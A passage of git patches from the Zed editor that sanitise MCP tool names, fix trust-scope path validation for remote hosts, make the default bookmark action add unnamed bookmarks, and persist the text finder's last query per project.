+                    "test": {
+                        "name": "Test Profile",
+                        "enable_all_context_servers": true,
+                    },
+                }
+            }
+        })
+        .to_string()
+        .into_bytes(),
+    )
+    .await;
+    cx.run_until_parked();
+    thread.update(cx, |thread, cx| {
+        thread.set_profile(AgentProfileId("test".into()), cx)
+    });
+
+    let mut mcp_tool_calls = setup_context_server(
+        "Superluminal",
+        vec![context_server::types::Tool {
+            name: "snake_case.PascalCase".into(),
+            title: None,
+            description: None,
+            input_schema: json!({"type": "object", "properties": {}}),
+            output_schema: None,
+            annotations: None,
+        }],
+        &context_server_store,
+        cx,
+    );
+
+    let events = thread.update(cx, |thread, cx| {
+        thread
+            .send(ClientUserMessageId::new(), ["Use the MCP tool"], cx)
+            .unwrap()
+    });
+    cx.run_until_parked();
+
+    let completion = fake_model.pending_completions().pop().unwrap();
+    assert_eq!(
+        tool_names_for_completion(&completion),
+        vec!["snake_case_PascalCase"]
+    );
+    fake_model.send_last_completion_stream_event(LanguageModelCompletionEvent::ToolUse(
+        LanguageModelToolUse {
+            id: "tool_1".into(),
+            name: "snake_case_PascalCase".into(),
+            raw_input: json!({}).to_string(),
+            input: json!({}),
+            is_input_complete: true,
+            thought_signature: None,
+        },
+    ));
+    fake_model.end_last_completion_stream();
+    cx.run_until_parked();
+
+    let (tool_call_params, tool_call_response) = mcp_tool_calls.next().await.unwrap();
+    assert_eq!(tool_call_params.name, "snake_case.PascalCase");
+    tool_call_response
+        .send(context_server::types::CallToolResponse {
+            content: vec![context_server::types::ToolResponseContent::Text {
+                text: "done".into(),
+            }],
+            is_error: None,
+            meta: None,
+            structured_content: None,
+        })
+        .unwrap();
+    cx.run_until_parked();
+
+    fake_model.send_last_completion_stream_text_chunk("Done!");
+    fake_model.end_last_completion_stream();
+    events.collect::<Vec<_>>().await;
+}
+
 #[gpui::test]
 async fn test_mcp_tool_multi_content_response(cx: &mut TestAppContext) {
     let ThreadTest {
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index 980ed067a3864f..6bc2715dd7e652 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -72,6 +72,27 @@ const TOOL_CANCELED_MESSAGE: &str = "Tool canceled by user";
 pub const MAX_TOOL_NAME_LENGTH: usize = 64;
 pub const MAX_SUBAGENT_DEPTH: u8 = 1;
 
+pub(crate) fn provider_compatible_tool_name(tool_name: &str) -> String {
+    let mut sanitized = String::new();
+    for character in tool_name.chars() {
+        if sanitized.len() >= MAX_TOOL_NAME_LENGTH {
+            break;
+        }
+
+        if character.is_ascii_alphanumeric() || character == '_' || character == '-' {
+            sanitized.push(character);
+        } else {
+            sanitized.push('_');
+        }
+    }
+
+    if sanitized.is_empty() {
+        sanitized.push_str("tool");
+    }
+
+    sanitized
+}
+
 #[derive(Clone, Debug, Eq, PartialEq)]
 pub struct SandboxStatusKey {
     pub settings_sandbox: ThreadSandbox,
@@ -3986,16 +4007,6 @@ impl Thread {
         let Some(profile) = AgentSettings::get_global(cx).profiles.get(&self.profile_id) else {
             return BTreeMap::new();
         };
-        fn truncate(tool_name: &SharedString) -> SharedString {
-            if tool_name.len() > MAX_TOOL_NAME_LENGTH {
-                let mut truncated = tool_name.to_string();
-                truncated.truncate(MAX_TOOL_NAME_LENGTH);
-                truncated.into()
-            } else {
-                tool_name.clone()
-            }
-        }
-
         // Terminal variants are configured by users under the canonical
         // `terminal` name. Expose the one matching the current sandbox state
         // to the model under that name.
@@ -4030,7 +4041,10 @@ impl Thread {
                             Some((SharedString::from(TerminalTool::NAME), tool.clone()))
                         }
                         (TerminalTool::NAME | SandboxedTerminalTool::NAME, _) => None,
-                        _ => Some((truncate(tool_name), tool.clone())),
+                        _ => Some((
+                            provider_compatible_tool_name(tool_name.as_ref()).into(),
+                            tool.clone(),
+                        )),
                     }
                 } else {
                     None
@@ -4045,7 +4059,8 @@ impl Thread {
         for (server_id, server_tools) in self.context_server_registry.read(cx).servers() {
             for (tool_name, tool) in server_tools {
                 if profile.is_context_server_tool_enabled(&server_id.0, &tool_name) {
-                    let tool_name = truncate(tool_name);
+                    let tool_name: SharedString =
+                        provider_compatible_tool_name(tool_name.as_ref()).into();
                     if !seen_tools.insert(tool_name.clone()) {
                         duplicate_tool_names.insert(tool_name.clone());
                     }
@@ -4062,7 +4077,8 @@ impl Thread {
             if duplicate_tool_names.contains(&tool_name) {
                 let available = MAX_TOOL_NAME_LENGTH.saturating_sub(tool_name.len());
                 if available >= 2 {
-                    let mut disambiguated = server_id.0.to_snake_case();
+                    let mut disambiguated =
+                        provider_compatible_tool_name(&server_id.0.to_snake_case()).to_string();
                     disambiguated.truncate(available - 1);
                     disambiguated.push('_');
                     disambiguated.push_str(&tool_name);

From 7b128f9263396555041d3c416ba75cf7554fe1a4 Mon Sep 17 00:00:00 2001
From: Xin Zhao <zx0@mail.ustc.edu.cn>
Date: Wed, 1 Jul 2026 16:22:00 +0800
Subject: [PATCH 185/772] workspace: Use remote host's path style when
 validating trust scope (#60139)

# Objective

Zed supports trusting all projects under a given directory. However,
when a local Windows client connects to a remote Linux server, the trust
scope input rejects valid directories with the error "Enter an absolute
folder path", even though the path is correct.
<img width="681" height="374" alt="image"
src="https://github.com/user-attachments/assets/87f084fb-1213-4594-96cb-3de81f4789aa"
/>

The root cause is in the `validate_trust_scope` function:

https://github.com/zed-industries/zed/blob/53e4d34a71f61f13572919c04335e9da838623e6/crates/workspace/src/security_modal.rs#L497-L519
which uses `Path::is_absolute()` to check whether the entered path is
absolute. On Windows, this method only considers paths with a drive
letter as absolute, so Unix-style paths like `/home/user` are never
recognized. When doing cross-platform remote development, valid trust
scopes are incorrectly rejected.
## Solution
The `util::paths` crate already provides a helper for this situation:

https://github.com/zed-industries/zed/blob/53e4d34a71f61f13572919c04335e9da838623e6/crates/util/src/paths.rs#L575-L586
The fix
- Adds a `path_style: PathStyle` parameter to `validate_trust_scope` and
uses `util::paths::is_absolute()` in place of `Path::is_absolute()`.
- The call site in `edited_trust_scope` retrieves the path style from
the worktree store, which already tracks whether a connection is local
or remote and the remote host's path convention.

The associated unit tests were updated for the new function signature.

## Testing

Built and tested locally; `cargo test -p workspace` passed.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed the "Folder to trust" input rejecting valid folder paths when
connecting to a remote host that uses a different path style than the
local machine.
---
 crates/workspace/src/security_modal.rs | 42 +++++++++++++++++---------
 1 file changed, 28 insertions(+), 14 deletions(-)

diff --git a/crates/workspace/src/security_modal.rs b/crates/workspace/src/security_modal.rs
index 3c8a831fb488ff..3f8e4d95b8ea29 100644
--- a/crates/workspace/src/security_modal.rs
+++ b/crates/workspace/src/security_modal.rs
@@ -22,6 +22,8 @@ use ui::{
 };
 use ui_input::InputField;
 
+use util::paths::PathStyle;
+
 use crate::{DismissDecision, ModalView, ToggleWorktreeSecurity};
 
 pub struct SecurityModal {
@@ -387,7 +389,12 @@ impl SecurityModal {
             return Ok(None);
         };
         let typed = self.trust_path_input.read(cx).text(cx);
-        validate_trust_scope(&typed, &project, self.home_dir.as_deref()).map(Some)
+        let path_style = self
+            .worktree_store
+            .upgrade()
+            .map(|store| store.read(cx).path_style())
+            .unwrap_or_else(PathStyle::local);
+        validate_trust_scope(&typed, &project, self.home_dir.as_deref(), path_style).map(Some)
     }
 
     fn trust_and_dismiss(&mut self, cx: &mut Context<Self>) {
@@ -498,18 +505,20 @@ fn validate_trust_scope(
     typed: &str,
     project: &Path,
     home_dir: Option<&Path>,
+    path_style: PathStyle,
 ) -> Result<PathBuf, SharedString> {
     let trimmed = typed.trim();
     if trimmed.is_empty() {
         return Err("Enter a folder to trust".into());
     }
     let expanded = match (trimmed.strip_prefix('~'), home_dir) {
-        (Some(rest), Some(home_dir)) => {
-            home_dir.join(rest.strip_prefix(std::path::MAIN_SEPARATOR).unwrap_or(rest))
-        }
+        (Some(rest), Some(home_dir)) => home_dir.join(
+            rest.strip_prefix(path_style.primary_separator())
+                .unwrap_or(rest),
+        ),
         _ => PathBuf::from(trimmed),
     };
-    if !expanded.is_absolute() {
+    if !util::paths::is_absolute(&expanded.to_string_lossy(), path_style) {
         return Err("Enter an absolute folder path".into());
     }
     if !project.starts_with(&expanded) {
@@ -525,39 +534,44 @@ mod tests {
     #[test]
     fn accepts_ancestor_or_equal() {
         let project = Path::new("/Users/me/dev/delta/wt/t1");
+        let style = PathStyle::Posix;
         assert_eq!(
-            validate_trust_scope("/Users/me/dev/delta/wt", project, None).unwrap(),
+            validate_trust_scope("/Users/me/dev/delta/wt", project, None, style).unwrap(),
             PathBuf::from("/Users/me/dev/delta/wt"),
         );
         // Equal to the project itself is allowed.
         assert_eq!(
-            validate_trust_scope("/Users/me/dev/delta/wt/t1", project, None).unwrap(),
+            validate_trust_scope("/Users/me/dev/delta/wt/t1", project, None, style).unwrap(),
             PathBuf::from("/Users/me/dev/delta/wt/t1"),
         );
         // A distant ancestor is allowed.
-        assert!(validate_trust_scope("/Users/me/dev", project, None).is_ok());
+        assert!(validate_trust_scope("/Users/me/dev", project, None, style).is_ok());
     }
 
     #[test]
     fn rejects_non_ancestor_relative_or_empty() {
         let project = Path::new("/Users/me/dev/delta/wt/t1");
-        assert!(validate_trust_scope("/Users/other", project, None).is_err());
-        assert!(validate_trust_scope("relative/path", project, None).is_err());
-        assert!(validate_trust_scope("   ", project, None).is_err());
+        let style = PathStyle::Posix;
+        assert!(validate_trust_scope("/Users/other", project, None, style).is_err());
+        assert!(validate_trust_scope("relative/path", project, None, style).is_err());
+        assert!(validate_trust_scope("   ", project, None, style).is_err());
         // Deeper than the project is not an ancestor.
-        assert!(validate_trust_scope("/Users/me/dev/delta/wt/t1/sub", project, None).is_err());
+        assert!(
+            validate_trust_scope("/Users/me/dev/delta/wt/t1/sub", project, None, style).is_err()
+        );
     }
 
     #[test]
     fn expands_leading_tilde() {
         let home = Path::new("/Users/me");
         let project = Path::new("/Users/me/dev/wt/t1");
+        let style = PathStyle::Posix;
         assert_eq!(
-            validate_trust_scope("~/dev/wt", project, Some(home)).unwrap(),
+            validate_trust_scope("~/dev/wt", project, Some(home), style).unwrap(),
             PathBuf::from("/Users/me/dev/wt"),
         );
         assert_eq!(
-            validate_trust_scope("~", project, Some(home)).unwrap(),
+            validate_trust_scope("~", project, Some(home), style).unwrap(),
             PathBuf::from("/Users/me"),
         );
     }

From 914cc661031a17c4e5e28901a5716bb8e638c621 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Yara=20=F0=9F=8F=B3=EF=B8=8F=E2=80=8D=E2=9A=A7=EF=B8=8F?=
 <git@yara.blue>
Date: Wed, 1 Jul 2026 11:34:33 +0200
Subject: [PATCH 186/772] Make the existing bookmark action add an unnamed
 bookmark again (#60185)

Zed don't surface the fact that bookmarks can have labels/names now
anywhere except opening the bookmark name editor every time you place
one. This keeps the label/name mechanism but makes the default add
bookmark action add an unnamed one.

Next step is probably to enable holding shift (or some other modifier)
to place a named bookmark, or even a setting to switch between default
named vs unnamed.

Release Notes:

- N/A
---
 crates/editor/src/actions.rs      |  2 ++
 crates/editor/src/bookmarks.rs    | 58 ++++++++++++++++---------------
 crates/editor/src/editor.rs       | 10 +++---
 crates/editor/src/editor_tests.rs | 41 +++++++++++++++++++---
 crates/editor/src/element.rs      |  1 +
 5 files changed, 75 insertions(+), 37 deletions(-)

diff --git a/crates/editor/src/actions.rs b/crates/editor/src/actions.rs
index 270edbed1d18d7..f0b9cfb4f5da1f 100644
--- a/crates/editor/src/actions.rs
+++ b/crates/editor/src/actions.rs
@@ -856,6 +856,8 @@ actions!(
         Backtab,
         /// Toggles a bookmark at the current line.
         ToggleBookmark,
+        /// Toggles a bookmark at the current line, prompting for a label when adding one.
+        ToggleBookmarkWithLabel,
         /// Edits the bookmark's label at the current line.
         EditBookmark,
         /// Toggles a breakpoint at the current line.
diff --git a/crates/editor/src/bookmarks.rs b/crates/editor/src/bookmarks.rs
index e2d1c570d4ea39..12a899f398f777 100644
--- a/crates/editor/src/bookmarks.rs
+++ b/crates/editor/src/bookmarks.rs
@@ -13,7 +13,7 @@ use workspace::{Workspace, searchable::Direction};
 use crate::display_map::DisplayRow;
 use crate::{
     EditBookmark, Editor, GoToNextBookmark, GoToPreviousBookmark, MultibufferSelectionMode,
-    SelectionEffects, ToggleBookmark, ViewBookmarks, scroll::Autoscroll,
+    SelectionEffects, ToggleBookmark, ToggleBookmarkWithLabel, ViewBookmarks, scroll::Autoscroll,
 };
 
 #[derive(Clone, Debug)]
@@ -46,6 +46,24 @@ impl Editor {
         _: &ToggleBookmark,
         window: &mut Window,
         cx: &mut Context<Self>,
+    ) {
+        self.toggle_bookmark_impl(false, window, cx);
+    }
+
+    pub fn toggle_bookmark_with_label(
+        &mut self,
+        _: &ToggleBookmarkWithLabel,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.toggle_bookmark_impl(true, window, cx);
+    }
+
+    fn toggle_bookmark_impl(
+        &mut self,
+        with_label: bool,
+        window: &mut Window,
+        cx: &mut Context<Self>,
     ) {
         let Some(bookmark_store) = self.bookmark_store.clone() else {
             return;
@@ -91,34 +109,27 @@ impl Editor {
         if absent_targets.is_empty() {
             // All cursors are on existing bookmarks, remove all bookmarks.
             self.toggle_bookmarks(exist_targets, String::new(), cx);
-        } else {
-            // Only add new ones and leave existing ones unchanged.
+        } else if with_label {
+            // Only add new ones (prompting for a label) and leave existing ones unchanged.
             self.add_toggle_bookmark_blocks(absent_targets, bookmark_store, window, cx);
+        } else {
+            // Only add new (unnamed) bookmarks and leave existing ones unchanged.
+            self.toggle_bookmarks(absent_targets, String::new(), cx);
         }
 
         cx.notify();
     }
 
-    pub fn toggle_bookmark_at_row(
-        &mut self,
-        row: DisplayRow,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
+    pub fn toggle_bookmark_at_row(&mut self, row: DisplayRow, cx: &mut Context<Self>) {
         let display_snapshot = self.display_snapshot(cx);
         let point = display_snapshot.display_point_to_point(row.as_display_point(), Bias::Left);
         let buffer_snapshot = self.buffer.read(cx).snapshot(cx);
         let anchor = buffer_snapshot.anchor_before(point);
 
-        self.toggle_bookmark_at_anchor(anchor, window, cx);
+        self.toggle_bookmark_at_anchor(anchor, cx);
     }
 
-    pub fn toggle_bookmark_at_anchor(
-        &mut self,
-        anchor: Anchor,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
+    pub fn toggle_bookmark_at_anchor(&mut self, anchor: Anchor, cx: &mut Context<Self>) {
         let buffer_snapshot = self.buffer.read(cx).snapshot(cx);
         let Some((position, _)) = buffer_snapshot.anchor_to_buffer_anchor(anchor) else {
             return;
@@ -131,18 +142,9 @@ impl Editor {
             return;
         };
 
-        let target = BookmarkTarget {
-            buffer,
-            anchor,
-            buffer_anchor: position,
-        };
-        if Self::bookmark_exists_for_target(&bookmark_store, &target, cx) {
-            bookmark_store.update(cx, |bookmark_store, cx| {
-                bookmark_store.toggle_bookmark(target.buffer, position, String::new(), cx);
-            });
-        } else {
-            self.add_toggle_bookmark_blocks(vec![target], bookmark_store, window, cx)
-        }
+        bookmark_store.update(cx, |bookmark_store, cx| {
+            bookmark_store.toggle_bookmark(buffer, position, String::new(), cx);
+        });
 
         cx.notify();
     }
diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 9437b8899b7a85..12138cb7f92ebe 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -3990,8 +3990,8 @@ impl Editor {
             .size(ui::ButtonSize::None)
             .icon_color(Color::Info)
             .style(ButtonStyle::Transparent)
-            .on_click(cx.listener(move |editor, _, window, cx| {
-                editor.toggle_bookmark_at_row(row, window, cx);
+            .on_click(cx.listener(move |editor, _, _window, cx| {
+                editor.toggle_bookmark_at_row(row, cx);
             }))
             .on_right_click(cx.listener(move |editor, event: &ClickEvent, window, cx| {
                 editor.set_gutter_context_menu(row, None, event.position(), window, cx);
@@ -4282,10 +4282,10 @@ impl Editor {
                 .separator()
                 .entry(set_bookmark_msg, Some(ToggleBookmark.boxed_clone()), {
                     let weak_editor = weak_editor.clone();
-                    move |window, cx| {
+                    move |_window, cx| {
                         weak_editor
                             .update(cx, |this, cx| {
-                                this.toggle_bookmark_at_anchor(anchor, window, cx);
+                                this.toggle_bookmark_at_anchor(anchor, cx);
                             })
                             .log_err();
                     }
@@ -4481,7 +4481,7 @@ impl Editor {
                     };
 
                     match intent {
-                        Intent::SetBookmark => editor.toggle_bookmark_at_row(row, window, cx),
+                        Intent::SetBookmark => editor.toggle_bookmark_at_row(row, cx),
                         Intent::SetBreakpoint => editor.edit_breakpoint_at_anchor(
                             position,
                             Breakpoint::new_standard(),
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 6b43dff2cc9af1..de1d6905205a3a 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -29140,6 +29140,13 @@ impl BookmarkTestContext {
             });
     }
 
+    fn toggle_bookmark_with_label(&mut self) {
+        self.editor
+            .update_in(&mut self.cx, |editor: &mut Editor, window, cx| {
+                editor.toggle_bookmark_with_label(&actions::ToggleBookmarkWithLabel, window, cx);
+            });
+    }
+
     fn confirm_bookmark_prompt(&mut self, label: &str) {
         if !label.is_empty() {
             self.cx.simulate_input(label);
@@ -29149,7 +29156,7 @@ impl BookmarkTestContext {
     }
 
     fn add_bookmark_with_label(&mut self, label: &str) {
-        self.toggle_bookmark();
+        self.toggle_bookmark_with_label();
         self.confirm_bookmark_prompt(label);
     }
 
@@ -29204,13 +29211,39 @@ async fn test_bookmark_toggling(cx: &mut TestAppContext) {
 }
 
 #[gpui::test]
-async fn test_bookmark_toggling_with_multiple_selections(cx: &mut TestAppContext) {
+async fn test_bookmark_toggling_unnamed_with_multiple_selections(cx: &mut TestAppContext) {
     let mut ctx =
         BookmarkTestContext::new("First line\nSecond line\nThird line\nFourth line", cx).await;
 
     ctx.select_rows(&[0, 1, 2]);
     ctx.toggle_bookmark();
 
+    ctx.assert_prompt_block_count(0);
+    ctx.assert_bookmarked_file_count(1);
+    ctx.assert_bookmark_labels(vec![(0, ""), (1, ""), (2, "")]);
+
+    ctx.select_rows(&[0, 1, 2, 3]);
+    ctx.toggle_bookmark();
+
+    ctx.assert_prompt_block_count(0);
+    ctx.assert_bookmark_rows(vec![0, 1, 2, 3]);
+
+    ctx.select_rows(&[0, 1, 2, 3]);
+    ctx.toggle_bookmark();
+
+    ctx.assert_prompt_block_count(0);
+    ctx.assert_bookmarked_file_count(0);
+    ctx.assert_bookmark_rows(vec![]);
+}
+
+#[gpui::test]
+async fn test_bookmark_toggling_with_label_with_multiple_selections(cx: &mut TestAppContext) {
+    let mut ctx =
+        BookmarkTestContext::new("First line\nSecond line\nThird line\nFourth line", cx).await;
+
+    ctx.select_rows(&[0, 1, 2]);
+    ctx.toggle_bookmark_with_label();
+
     ctx.assert_prompt_block_count(3);
     ctx.assert_bookmarked_file_count(0);
 
@@ -29229,7 +29262,7 @@ async fn test_bookmark_toggling_with_multiple_selections(cx: &mut TestAppContext
     ]);
 
     ctx.select_rows(&[0, 1, 2, 3]);
-    ctx.toggle_bookmark();
+    ctx.toggle_bookmark_with_label();
 
     ctx.assert_prompt_block_count(1);
     ctx.assert_bookmark_labels(vec![
@@ -29249,7 +29282,7 @@ async fn test_bookmark_toggling_with_multiple_selections(cx: &mut TestAppContext
     ]);
 
     ctx.select_rows(&[0, 1, 2, 3]);
-    ctx.toggle_bookmark();
+    ctx.toggle_bookmark_with_label();
 
     ctx.assert_prompt_block_count(0);
     ctx.assert_bookmarked_file_count(0);
diff --git a/crates/editor/src/element.rs b/crates/editor/src/element.rs
index 81ef8b6a9d8472..0e4cb930dcb1e2 100644
--- a/crates/editor/src/element.rs
+++ b/crates/editor/src/element.rs
@@ -538,6 +538,7 @@ impl EditorElement {
         register_action(editor, window, Editor::spawn_nearest_task);
         register_action(editor, window, Editor::open_selections_in_multibuffer);
         register_action(editor, window, Editor::toggle_bookmark);
+        register_action(editor, window, Editor::toggle_bookmark_with_label);
         register_action(editor, window, Editor::edit_bookmark);
         register_action(editor, window, Editor::go_to_next_bookmark);
         register_action(editor, window, Editor::go_to_previous_bookmark);

From e4e2c9d3d52e3b35c406ebea82cbfc6c0399f2ff Mon Sep 17 00:00:00 2001
From: ozacod <47009516+ozacod@users.noreply.github.com>
Date: Wed, 1 Jul 2026 13:32:30 +0300
Subject: [PATCH 187/772] text_finder: Seed last query and filters to make
 quick edits easier (#59849)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Summary

It is incremental step to solve issue #59825.

This PR addresses the need for facilitating quick edits for matches
obtained by ‘text_finder’. This makes the text finder remember the last
query, so you can jump to a match, make a quick edit, and reopen the
finder to the same results instead of typing the same query again.


## Problem

A common flow is, open the text editor, then jump to first match, edit
that file, then reopen the finder to continue for next matches. But on
the reopen, the query was seeded from under the cursor. And after
editing, the cursor is usually sitting on an unrelated word, and
previous search was lost. The root cause is priority, the word under the
cursor was seeding the query. 



## Solution

Reorder query seeding so last query outranks the cursor word, then
cursor word can be dropped entirely, since last query is prioritized
over the word under cursor, the last query always wins, so checking the
cursor word afterwards is dead code. And JetBrains makes the same
choice, entirely ignores word on the cursor for seeding query. Explicit
selection still outranks the last query, since selecting text is usually
a deliberate choice.

### Before

1- Active project search query (if any)
2- Active buffer search query (if any)
3- Selected text or word under the cursor
4- Empty



### After
1- Active project search query (if any)
2- Active buffer search query (if any)
3- Selected text
4- Last query (of this project)
5- Empty



With updated order, this friction disappears (the same order is also
observed in JetBrains). To make the last query persistent, it is stored
per project in the database along with the active filters (case
sensitive, whole word, regex), so they also survive reopening the
project.


## Testing

- Manually verified the seed priority order between the options.
- Verified the last query is seeded when project is reopened.
- Verified filters are restored regardless of this query order.

Release Notes:

- Improved the text finder to seed the last query and filters to make
quick edits easier.

---------

Co-authored-by: ozacod <ozacod@users.noreply.github.com>
Co-authored-by: Yara 🏳️‍⚧️ <git@yara.blue>
---
 Cargo.lock                       |   1 +
 crates/search/Cargo.toml         |   1 +
 crates/search/src/text_finder.rs | 156 ++++++++++++++++++++++++++++---
 3 files changed, 143 insertions(+), 15 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 5ab20e6db9fd7a..d3be7e7882d9fd 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -16246,6 +16246,7 @@ dependencies = [
  "anyhow",
  "bitflags 2.10.0",
  "collections",
+ "db",
  "editor",
  "file_icons",
  "fs",
diff --git a/crates/search/Cargo.toml b/crates/search/Cargo.toml
index 56d7e2b37d7e22..af4c5e98379b9c 100644
--- a/crates/search/Cargo.toml
+++ b/crates/search/Cargo.toml
@@ -25,6 +25,7 @@ anyhow.workspace = true
 any_vec.workspace = true
 bitflags.workspace = true
 collections.workspace = true
+db.workspace = true
 editor.workspace = true
 file_icons.workspace = true
 fs.workspace = true
diff --git a/crates/search/src/text_finder.rs b/crates/search/src/text_finder.rs
index 040a45ec3ece54..707587658ce5b9 100644
--- a/crates/search/src/text_finder.rs
+++ b/crates/search/src/text_finder.rs
@@ -1,5 +1,10 @@
 use std::{ops::Range, sync::atomic::Ordering};
 
+use db::{
+    query,
+    sqlez::{domain::Domain, thread_safe_connection::ThreadSafeConnection},
+    sqlez_macros::sql,
+};
 use editor::Editor;
 use gpui::{
     App, AppContext, Context, DismissEvent, Entity, EventEmitter, FocusHandle, Focusable,
@@ -9,16 +14,20 @@ use language::Buffer;
 use picker::Picker;
 
 use project::ProjectPath;
+use settings::SeedQuerySetting;
 use text::Anchor;
 use ui::Window;
-use workspace::{DismissDecision, ModalView, Workspace, searchable::SearchableItemHandle};
+use workspace::{
+    DismissDecision, ModalView, Workspace, WorkspaceDb, WorkspaceId,
+    searchable::SearchableItemHandle,
+};
 
 mod delegate;
 mod render;
 use delegate::{Delegate, matches_to_multibuffer};
 use util::ResultExt as _;
 
-use crate::{ProjectSearchView, text_finder::delegate::PopulateProjectSearch};
+use crate::{ProjectSearchView, SearchOptions, text_finder::delegate::PopulateProjectSearch};
 
 actions!(text_finder, [ToProjectSearch,]);
 
@@ -28,6 +37,87 @@ pub struct TextFinder {
     _subscription: Subscription,
 }
 
+/// Persists the query and active filters of the just-closed Text Finder in the per-project
+/// database, keyed by workspace so the search is restored only for the project it was run in
+/// (mirrors JetBrains' per-project find history). The row is removed automatically when its
+/// workspace is deleted, via the `ON DELETE CASCADE` foreign key. Workspaces without a database
+/// id (not yet persisted) don't participate.
+pub struct TextFinderDb(ThreadSafeConnection);
+
+impl Domain for TextFinderDb {
+    const NAME: &str = stringify!(TextFinderDb);
+
+    const MIGRATIONS: &[&str] = &[sql!(
+        CREATE TABLE text_finder_queries (
+            workspace_id INTEGER PRIMARY KEY,
+            query TEXT NOT NULL,
+            search_options INTEGER NOT NULL DEFAULT 0,
+            FOREIGN KEY(workspace_id) REFERENCES workspaces(workspace_id)
+            ON DELETE CASCADE
+        ) STRICT;
+    )];
+}
+
+db::static_connection!(TextFinderDb, [WorkspaceDb]);
+
+impl TextFinderDb {
+    query! {
+        pub async fn set_last_search(workspace_id: WorkspaceId, query: String, search_options: i64) -> Result<()> {
+            INSERT INTO text_finder_queries (workspace_id, query, search_options)
+            VALUES (?1, ?2, ?3)
+            ON CONFLICT(workspace_id) DO UPDATE SET query = ?2, search_options = ?3
+        }
+    }
+
+    query! {
+        pub fn last_search(workspace_id: WorkspaceId) -> Result<Option<(String, i64)>> {
+            SELECT query, search_options
+            FROM text_finder_queries
+            WHERE workspace_id = ?1
+        }
+    }
+}
+
+/// A query to pre-populate the Text Finder with, plus the search filters to restore alongside
+/// it. `options` carries the workspace's last-used filters when there are any persisted; it is
+/// `None` only the first time the finder is used in a workspace, leaving the filters at their
+/// setting-derived defaults.
+pub(crate) struct SearchSeed {
+    query: String,
+    options: Option<SearchOptions>,
+}
+
+fn store_last_search(
+    workspace_id: Option<WorkspaceId>,
+    query: String,
+    options: SearchOptions,
+    cx: &App,
+) {
+    let Some(workspace_id) = workspace_id else {
+        return;
+    };
+    let db = TextFinderDb::global(cx);
+    let search_options = options.bits() as i64;
+    db::write_and_log(cx, move || async move {
+        db.set_last_search(workspace_id, query, search_options)
+            .await
+    });
+}
+
+fn load_last_search(workspace_id: Option<WorkspaceId>, cx: &App) -> Option<SearchSeed> {
+    let (query, search_options) = TextFinderDb::global(cx)
+        .last_search(workspace_id?)
+        .log_err()
+        .flatten()?;
+    if query.is_empty() {
+        return None;
+    }
+    Some(SearchSeed {
+        query,
+        options: Some(SearchOptions::from_bits_truncate(search_options as u8)),
+    })
+}
+
 pub fn init(cx: &mut App) {
     cx.observe_new(TextFinder::register).detach();
 }
@@ -206,14 +296,31 @@ impl TextFinder {
             .update(cx, |p, _| p.delegate.in_progress_search.take_connected())
     }
 
-    /// The query to pre-populate the text finder with, sourced from the active
-    /// item in priority order, mirroring how project search seeds itself: an
-    /// active project search's query, then a focused buffer search bar's query,
-    /// then the word under the cursor (honoring `seed_search_query_from_cursor`).
+    /// Guess the query the user probably wants for pre-populating the search input.
     fn seed_query(
         workspace: &mut Workspace,
         window: &mut Window,
         cx: &mut Context<Workspace>,
+    ) -> Option<SearchSeed> {
+        let last_search = load_last_search(workspace.database_id(), cx);
+        let options = last_search.as_ref().and_then(|seed| seed.options);
+
+        let query = Self::active_item_query(workspace, window, cx)
+            .or_else(|| last_search.map(|seed| seed.query))?;
+
+        Some(SearchSeed { query, options })
+    }
+
+    /// The query to seed from the active item, if any.
+    ///
+    /// Only an explicit selection seeds from the editor; the bare word under the cursor is
+    /// ignored. Confirming a match jumps to (and places the cursor on) it, so seeding from the
+    /// cursor on reopen would clobber the search you were in the middle of, whereas a deliberate
+    /// selection (e.g. a double-click) is a clear signal to search for that text.
+    fn active_item_query(
+        workspace: &mut Workspace,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
     ) -> Option<String> {
         let item = workspace.active_item(cx)?;
 
@@ -230,13 +337,18 @@ impl TextFinder {
             return Some(query);
         }
 
-        let editor = item.act_as::<Editor>(cx)?;
-        let query = editor.query_suggestion(None, window, cx);
-        (!query.is_empty()).then_some(query)
+        if let Some(editor) = item.act_as::<Editor>(cx) {
+            let query = editor.query_suggestion(Some(SeedQuerySetting::Selection), window, cx);
+            if !query.is_empty() {
+                return Some(query);
+            }
+        }
+
+        None
     }
 
-    pub fn open(
-        seed_query: Option<String>,
+    pub(crate) fn open(
+        seed_query: Option<SearchSeed>,
         window: &mut Window,
         cx: &mut Context<Workspace>,
     ) -> Task<()> {
@@ -260,7 +372,7 @@ impl TextFinder {
 
     fn new(
         delegate: Delegate,
-        seed_query: Option<String>,
+        seed_query: Option<SearchSeed>,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
@@ -272,8 +384,12 @@ impl TextFinder {
         picker.update(cx, |picker, cx| {
             picker.delegate.focus_handle = picker_focus_handle.clone();
             picker.delegate.hook_up_any_ongoing_search(picker_weak, cx);
-            if let Some(seed_query) = seed_query.as_deref() {
-                picker.set_query(seed_query, window, cx);
+            if let Some(seed_query) = seed_query {
+                // Restore filters before seeding the query so the initial search runs with them.
+                if let Some(options) = seed_query.options {
+                    picker.delegate.search_options = options;
+                }
+                picker.set_query(&seed_query.query, window, cx);
